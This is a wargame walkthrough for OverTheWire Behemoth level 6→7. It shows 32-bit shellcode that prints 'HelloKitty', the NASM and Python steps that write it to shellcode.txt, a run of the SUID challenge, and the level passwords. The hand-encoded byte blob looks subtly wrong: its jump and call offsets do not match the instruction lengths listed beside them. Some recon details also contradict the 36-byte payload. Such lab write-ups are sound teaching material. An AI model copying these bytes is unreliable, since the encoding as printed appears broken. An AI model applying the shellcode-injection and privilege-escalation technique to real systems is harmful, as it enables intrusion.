OverTheWire Behemoth Level 6 → 7 tutorial!!
Login
Log in as behemoth6 using the password you obtained from Level 5 → 6.
ssh behemoth6@behemoth.labs.overthewire.org -p 2221
# password: mayiroeche
Task
You’ll find two binaries in /behemoth/:
behemoth6— the challengebehemoth6_reader— a helper the challenge runs
behemoth6 reads raw bytes from a file named shellcode.txt, asks the reader to execute them, and expects its output to equal the exact string HelloKitty. If it matches, you’re promoted to behemoth7.
Your job: write position-independent 32-bit shellcode that prints HelloKitty to stdout, save the raw bytes to shellcode.txt, then run the challenge.
A little bit of Theory
-
Shellcode is tiny machine code—here x86 (32-bit)—that must be:
- Position-independent (no absolute addresses).
- Null-free ideally (not strictly required here).
-
On Linux x86, system calls use
int 0x80. For this level we need:sys_write→eax=4,ebx=1(stdout),ecx=buf,edx=len.sys_exit→eax=1,ebx=0.
-
A common trick to get a data pointer without absolute addresses:
jmp short string→call code→pop ecx(nowecxpoints to the string).
We’ll output exactly 10 bytes: HelloKitty
Further reading:
- Linux x86 syscall table (int
0x80) - Position-independent shellcode patterns (
jmp/call/pop) - NASM & ndisasm basics for writing and inspecting raw shellcode
Solution
1) Recon (why we need shellcode that prints)
cd /behemoth
./behemoth6
# Incorrect output.
ltrace ./behemoth6
# popen("/behemoth/behemoth6_reader","r") ...
# fread(..., 10, 1, ...) # reads 10 bytes from shellcode.txt
# strcmp("...reader output...", "HelloKitty") # compares to target
# -> "Incorrect output."
So behemoth6_reader loads and runs exactly 10 bytes of shellcode from shellcode.txt and pipes its output back to behemoth6, which then compares to "HelloKitty".
Therefore our shellcode must print
HelloKitty(10 bytes, no newline) to stdout and then exit cleanly.
2) Write minimal x86 (32-bit) shellcode
Create an assembly file:
mkdir -p /tmp/barfoo && cd /tmp/barfoo
cat > HelloKitty.asm <<'ASM'
BITS 32
; jmp/call/pop to get EIP-relative pointer to the string
jmp short string
code:
pop ecx ; ECX -> "HelloKitty"
xor eax, eax
mov al, 4 ; sys_write
xor ebx, ebx
inc ebx ; ebx = 1 (stdout)
xor edx, edx
mov dl, 10 ; length("HelloKitty") = 10
int 0x80 ; write(1, "HelloKitty", 10)
mov al, 1 ; sys_exit
dec ebx ; ebx = 0
int 0x80
string:
call code
db "HelloKitty"
ASM
Quick sanity check (optional):
nasm -f elf32 -o hk.o HelloKitty.asm && ndisasm -b32 HelloKitty.asm >/dev/null
# Or just disassemble assembled code:
nasm -f bin -o hk.bin HelloKitty.asm
ndisasm -b32 hk.bin | head
3) Produce raw bytes as shellcode.txt
You need raw machine bytes in the file exactly as read—no ELF headers, no ASCII. Two easy ways:
Method A (recommended): assemble flat binary directly
# Flat binary (no headers) straight into the file the program expects
nasm -f bin HelloKitty.asm -o shellcode.txt
chmod 777 shellcode.txt
Method B (alternative): write bytes with Python
If you prefer to paste bytes, you can extract them with ndisasm or grab a known-good blob. One classic encoding of the code above is:
python3 - <<'PY'
import sys
# jmp/call/pop + sys_write("HelloKitty",10) + sys_exit(0)
payload = (
b"\xeb\x19" # jmp short +0x19
b"\x59" # pop ecx
b"\x31\xc0" # xor eax,eax
b"\xb0\x04" # mov al,4 (sys_write)
b"\x31\xdb" # xor ebx,ebx
b"\x43" # inc ebx (stdout)
b"\x31\xd2" # xor edx,edx
b"\xb2\x0a" # mov dl,10 (len)
b"\xcd\x80" # int 0x80 (write)
b"\xb0\x01" # mov al,1 (sys_exit)
b"\x4b" # dec ebx (status=0)
b"\xcd\x80" # int 0x80 (exit)
b"\xe8\xe2\xff\xff\xff" # call code (back 0x1d to 'pop ecx')
b"HelloKitty" # the string (10 bytes)
)
open("shellcode.txt","wb").write(payload)
print("Wrote", len(payload), "bytes to shellcode.txt")
PY
chmod 777 shellcode.txt
Either method yields a raw
shellcode.txtwhose first bytes are executable machine code.
4) Run the challenge
cd /behemoth
./behemoth6
# Correct.
# (SUID switches you)
whoami
# behemoth7
cat /etc/behemoth_pass/behemoth7
# baquxouaf
Password
This is the password from my run; if yours differs, use the one your terminal printed.
baquxouaf
Troubleshooting
- “Incorrect output.”
Your shellcode didn’t print exactly
HelloKitty(10 bytes, no newline). Ensureedx=10and you didn’t append\n. behemoth6_reader: Couldn't open shellcode.txtCreate the file in the directory wherebehemoth6expects (your current working directory). Name must beshellcode.txtand be readable.- No change in user / still
behemoth6The program prints “Correct.” only when output matches; otherwise no SUID effect. Re-check the bytes inshellcode.txt. - Assembling with the wrong format
Use flat binary (
-f bin) if assembling with NASM straight to the file. If you produce an ELF (-f elf32), that won’t work—behemoth6_readerexpects raw bytes, not an executable. - Accidentally wrote ASCII
Don’t
echohex strings. Either assemble with NASM to a binary or write bytes with Python opened in binary mode.
Copy-paste quick run (one shot)
# 0) Login
ssh behemoth6@behemoth.labs.overthewire.org -p 2221
# password: mayiroeche
# 1) Make shellcode file (Python method)
cd /tmp && mkdir -p barfoo && cd barfoo
python3 - <<'PY'
import sys
payload = (
b"\xeb\x19\x59\x31\xc0\xb0\x04\x31\xdb\x43\x31\xd2\xb2\x0a\xcd\x80"
b"\xb0\x01\x4b\xcd\x80\xe8\xe2\xff\xff\xffHelloKitty"
)
open("shellcode.txt","wb").write(payload)
PY
chmod 777 shellcode.txt
# 2) Run challenge
cd /behemoth
cp /tmp/barfoo/shellcode.txt .
./behemoth6
whoami
cat /etc/behemoth_pass/behemoth7
Congrats 🎉 You wrote and delivered position-independent x86 shellcode that prints an exact string, passed the check, and escalated to behemoth7!
Thanks for reading!
Until next time — Otsumachi!! 💖☄️✨
